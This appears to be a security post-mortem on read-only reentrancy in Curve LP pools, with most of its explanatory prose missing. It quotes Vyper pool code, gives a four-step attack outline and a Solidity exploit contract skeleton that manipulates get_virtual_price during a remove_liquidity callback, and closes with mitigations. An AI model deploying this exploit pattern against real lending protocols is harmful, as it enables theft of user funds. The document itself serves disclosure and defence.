Curve LP Oracle Manipulation: Post Mortem

Background

Read-Only Reentrancy

Vulnerability Analysis

@external
@nonreentrant('lock')
def remove_liquidity(
    ...

 

amounts: uint256[N_COINS] = self._balances()
lp_token: address = self.lp_token
total_supply: uint256 = ERC20(lp_token).totalSupply()

 

@view
@internal
def _balances(_value: uint256 = 0) -> uint256[N_COINS]:
    return [
        self.balance - self.admin_balances[0] - _value,
        ERC20(self.coins[1]).balanceOf(self) - self.admin_balances[1]
    ]

 

CurveToken(lp_token).burnFrom(msg.sender, _amount)  # dev: insufficient funds

 

for i in range(N_COINS):
        value: uint256 = amounts[i] * _amount / total_supply
        assert value >= _min_amounts[i], "Withdrawal resulted in fewer coins than expected"amounts[i] = value
        if i == 0:
            raw_call(msg.sender, b"", value=value)
        else:
            assert ERC20(self.coins[1]).transfer(msg.sender, value)log RemoveLiquidity(msg.sender, amounts, empty(uint256[N_COINS]), total_supply - _amount)return amounts

 

raw_call(msg.sender, b"", value=value)

 

@view
@external
def get_virtual_price() -> uint256:
    """
    @notice The current virtual price of the pool LP token
    @dev Useful for calculating profits
    @return LP token virtual price normalized to 1e18
    """
    D: uint256 = self.get_D(self._balances(), self._A())
    # D is in the units similar to DAI (e.g. converted to precision 1e18)
    # When balanced, D = n * x_u - total virtual value of the portfolio
    token_supply: uint256 = ERC20(self.lp_token).totalSupply()
    return D * PRECISION / token_supply

 

// sample code
uint256 lowestPrice = type(uint256).max;
for (uint256 i = 0; i < N_COINS; i++) {
    price = oracle.price(pool.coins(i));
    lowestPrice = price < lowestPrice ? price : lowestPrice;
}
value = lowestPrice * pool.get_virtual_price() / 10**18;

 

  1. Deposit large amounts of liquidity.
  2. Remove liquidity.
  3. During the callback perform malicious actions.
  4. Profit.

// pool is assumed to be an ETH pool with just one other token (e.g. stETH pool)
function exec(uint amountToken, uint percentRedeem) public payable {
    // prepare token
    token.transferFrom(msg.sender, address(this), amountToken);
    token.approve(address(pool), amountToken);    // add liquidity
    uint[2] memory amounts = [msg.value, amountToken];
    uint lps = pool.add_liquidity{value : msg.value}(amounts, 0);
    uint lps_redeem = lps * percent / 100;    // remove liqudity
    uint[2] memory zeros = [uint(0), 0];
    pool.remove_liquidity(lps_redeem, zeros);    // virtual price dropped
}fallback() external payable {
    // price of LP is pumped right now
    // malicious actions, use the remaining balance of lps if needed ...
}

 

Other pools

  • Tokens with callbacks to the recipient (e.g. some ERC-677 tokens, ERC-777 tokens). For these, it was possible to pump the price.
  • Token with callback to the sender (e.g. ERC-777 tokens). Even though the attack vector here is different, the attack is quite similar, with the difference that the callback is made during add_liquidity and that the price of the LP token can be dumped.

Fixing price feeds

Future solution

  • Make the reentrancy locks public to allow developers to decide whether or not they want to revert in case the lock is active.
  • Revert in view function if the lock is active.